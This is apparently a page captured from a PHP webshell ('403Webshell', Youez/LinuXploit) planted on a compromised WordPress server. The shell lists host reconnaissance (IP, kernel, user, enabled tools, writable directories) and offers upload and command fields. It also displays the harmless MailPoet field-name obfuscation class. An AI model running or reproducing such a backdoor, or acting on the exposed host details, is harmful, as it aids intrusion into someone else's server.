403Webshell
Server IP : 172.67.158.161  /  Your IP : 3.16.48.122
Web Server : LiteSpeed
System : Linux business53.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : giankuin ( 1871)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/proc/thread-self/root/home/giankuin/thietke365.net/wp-content/plugins/mailpoet/lib/Form/Util/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/proc/thread-self/root/home/giankuin/thietke365.net/wp-content/plugins/mailpoet/lib/Form/Util/FieldNameObfuscator.php
<?php // phpcs:ignore SlevomatCodingStandard.TypeHints.DeclareStrictTypes.DeclareStrictTypesMissing

namespace MailPoet\Form\Util;

if (!defined('ABSPATH')) exit;


use MailPoet\WP\Functions as WPFunctions;

class FieldNameObfuscator {

  const OBFUSCATED_FIELD_PREFIX = 'form_field_';
  const HASH_LENGTH = 12;

  /** @var WPFunctions */
  private $wp;

  public function __construct(
    WPFunctions $wp
  ) {
    $this->wp = $wp;
  }

  public function obfuscate($name) {
    $authKey = defined('AUTH_KEY') ? AUTH_KEY : '';
    $hash = substr(md5($authKey . $this->wp->homeUrl() . $name), 0, self::HASH_LENGTH);
    return self::OBFUSCATED_FIELD_PREFIX . base64_encode($hash . '_' . $name);
  }

  public function deobfuscate($name) {
    $decoded = base64_decode(substr($name, strlen(self::OBFUSCATED_FIELD_PREFIX)));
    return substr($decoded, self::HASH_LENGTH + 1);
  }

  public function deobfuscateFormPayload($data) {
    $result = [];
    foreach ($data as $key => $value) {
      $result[$this->deobfuscateField($key)] = $value;
    }
    return $result;
  }

  private function deobfuscateField($name) {
    if ($this->wasFieldObfuscated($name)) {
      return $this->deobfuscate($name);
    } else {
      return $name;
    }
  }

  private function wasFieldObfuscated($name) {
    return strpos($name, FieldNameObfuscator::OBFUSCATED_FIELD_PREFIX) === 0;
  }
}

Youez - 2016 - github.com/yon3zu
LinuXploit